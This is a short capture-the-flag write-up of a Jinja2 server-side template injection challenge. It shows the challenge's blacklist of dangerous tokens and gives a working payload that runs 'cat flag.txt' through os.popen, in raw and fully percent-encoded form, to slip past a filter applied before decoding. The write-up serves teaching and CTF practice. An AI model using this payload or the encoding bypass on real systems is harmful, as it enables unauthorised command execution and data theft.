140 words
1 minute
5571 (SSTI)

Challenge Summary#

The backend attempts to sanitize user input by blocking specific “dangerous” literals:

BLOCKED_LITERALS = [
'{', '}', '__', 'open', 'os', 'subprocess', 'import', 'eval', 'exec',
'system', 'popen', 'builtins', 'globals', 'locals', 'getattr', 'setattr',
'class', 'compile', 'inspect'
]

The page is vulnerable to SSTI. The objective is to bypass the blacklist and execute a Jinja2 payload to read the flag file.

Key Idea: Percent-Encoding to Evade Blacklist#

  • The blacklist is applied on the raw input before decoding.
  • By percent-encoding the entire payload (including braces, dots, underscores, quotes, etc.), we hide the literal characters from the blacklist.
  • When the server decodes the request and then renders the template, the payload executes.

Working Payload#

Raw payload:#

{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}

Fully percent-encoded:#

%7B%7B%63%6F%6E%66%69%67%2E%5F%5F%63%6C%61%73%73%5F%5F%2E%5F%5F%69%6E%69%74%5F%5F%2E%5F%5F%67%6C%6F%62%61%6C%73%5F%5F%5B%27%6F%73%27%5D%2E%70%6F%70%65%6E%28%27%63%61%74%20%66%6C%61%67%2E%74%78%74%27%29%2E%72%65%61%64%28%29%7D%7D

Why This Bypass Works#

  • Blacklists are fragile, especially when applied before decoding.
  • Encoding the entire payload prevents the literal tokens from matching blacklist checks.
  • After decoding occurs later in the request/templating pipeline, the payload is restored and evaluated.

Flag#

v1t{55T1_byp4ss_w1th_3nc0d1ng}
5571 (SSTI)
https://daryx.vercel.app/posts/v1tctf-2025-5571-ssti/
Author
Daryx
Published at
2025-01-10
License
CC BY-NC-SA 4.0